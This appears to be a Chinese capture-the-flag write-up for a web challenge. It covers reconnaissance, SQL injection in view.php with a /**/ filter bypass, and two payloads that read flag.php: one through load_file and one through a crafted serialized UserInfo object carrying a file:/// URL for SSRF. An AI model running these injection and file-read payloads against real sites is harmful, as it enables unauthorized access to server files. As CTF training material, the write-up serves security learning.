1、进入环境首先来一波信息收集
- robots.txt存在,我们知道了有user.php.bak
- 收集一波存在哪些路径
login.php(get)
join.php(get)
join.ok.php(post)
view.php?no=xx(get)
flag.php
join.ok.php和view.php?no=xx可能存在注入
2、分析
user.php.bak,代码对blog的形式做了正则匹配,然后curl执行该blog url的内容,将返回的页面显示在iframe中。这块可能存在SSRF漏洞
<?php
#用户信息
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
#显示blog页面的内容
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
#调用上面get方法获取blog的页面内容
public function getBlogContents ()
{
return $this->get($this->blog);
}
#判断blog格式是否合法
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
尝试下sql注入漏洞
sqlmap跑下join.php.ok,跑出了当前所在的表的详细数据,注意到users表的data列存的是UserInfo实例序列化后的结果
尝试下view.php?no=,存在注入,分析报错得出web路径为 /var/www/html
order by判断出从users表中取了4列
union select 被过滤 中间加/**/绕过过滤
使用union select进行查询,分析报错得出第二列进行了回显,可能通过load_file可以获取到flag.php
view.php进行了对某个数据进行反序列化(unserializa)操作,从上面跑出的data分析是对data进行了反序列化操作,在上一步骤中我们得到了user表有4列分别为no,passwd,data,username,并没有单独存放blog列,所以blog显示应该是从data列取出再进行反序列化
分析下正常情况下的语句,应该是select no,username,(反序列化后的age),(反序列化后的blog) from users
我们构造序列化的UserInfo实例,blog内使用file:///读取服务器端flag.php的文本内容
3、操作
PAYLOAD1:union/**/select 1,load_file("/var/www/html/flag.php"),3,4
PAYLOAD2:-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
对获取到的结果base64解码即可
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。